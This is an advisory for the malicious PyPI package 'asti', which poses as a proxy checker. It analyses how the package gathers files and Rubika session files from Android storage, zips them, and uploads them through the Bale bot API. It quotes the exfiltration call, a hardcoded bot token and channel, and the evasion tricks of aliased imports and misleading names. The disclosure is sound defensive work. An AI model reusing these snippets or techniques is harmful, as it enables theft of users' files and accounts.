MAL-2026-15864

    Dashboard / Malicious Package / MAL-2026-15864

    MAL-2026-15864

    Published: 3 Sept 2026Last Modified: 9 Sept 2026

    Summary: Malicious code in asti (PyPI)

    Details: Source: amazon-inspector (bba54b9524d7bd6b7563b91d2e19c3df6bf90887c1dd8867650f10bf1b516190) asti ships a two-line Persian README (لایبرری ساده - "simple library") documenting nothing but pip install asti, and places all of its code in asti/starts.py, of which roughly 40 of 723 lines are functional. ProxyManager.__init__ hardcodes self.token = "1263262891:neVZzZ8aKyH25k8BADzDkkurSehW3NuWgrg", self.channel = "5263487757", self.filters = ['.py', '.pyrubi', '.json', '.txt', '.html', '.php'] and self.source = "/storage/emulated/0/" - the Android shared-storage root, which scopes the package to Python-on-Android users (Termux, Pydroid). load_proxies() recursively walks that root with o.walk(self.source) and buckets every matching path by extension into self.buffer[ext]. check_proxy() then archives each bucket to /storage/emulated/0/proxy_<ext>.zip via z.ZipFile(self.temp, 'w', z.ZIP_DEFLATED), uploads it with r.post(f"https://tapi.bale.ai/{self.token}/sendDocument", files={'document': payload}, data={'chat_id': self.channel}), prints ".{ext} -- ALL PROXIES ARE LIVE!" when the upload returns HTTP 200, and deletes the archive in a finally block so no artifact persists. The.pyrubi filter is the targeting tell: pyrubi is the Python client library for the Iranian messaging platform Rubika, and.pyrubi files are its session/authentication files, so a successful run hands the operator the victim's Rubika accounts along with all Python source, JSON configs, notes and web files on the device; exfiltration terminates at Bale (bale.ai), another Iranian messenger whose Bot API is Telegram-API-compatible. Every identifier is deliberate misdirection - self.source is the victim's storage root, proxy_list holds their files, active/dead record upload success or failure, and check_proxy() is the exfiltration - while starts() narrates twelve emoji-labelled "phases" of a fake proxy audit. The remaining ~680 lines are padding: the NetworkUtils, SecurityUtils and ProxyValidator base classes consist almost entirely of methods that return random.randint(...) as fabricated latency, bandwidth, jitter, geolocation, DNS and speed-test results, and imports are single-letter aliased (import os as o, import zipfile as z, import requests as r) to defeat signature matching on os.walk and requests.post. The sendDocument call is the only network operation in the package; the four proxy-service URLs at lines 172-175 (api.proxyscrape.com, proxy-list.download, raw.githubusercontent.com/proxy-list/main/, api.proxy-ip.net) sit in a list that is iterated for print output only and are never fetched, making them cover story rather than indicators. There is no setup.py and no module-level executable statement, so import asti alone is inert; starts() is the package's sole export (__init__.py is from.starts import starts, __all__ = ["starts"]) and calling it - the only usage the package supports - performs the full harvest and upload. Source: kam193 (524f4f92d8a8c1b63e0164ce77b8185d9ec4d4ce345751a1883923351bdcfdbc) The provided functionality hides code that exfiltrates files to a remote location. Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-09-asti Reasons (based on the campaign): - files-exfiltration - action-hidden-in-lib-usage - target:android

    Affected packages

    Package

    Name: asti

    Purl: pkg:pypi/asti

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    0.1.0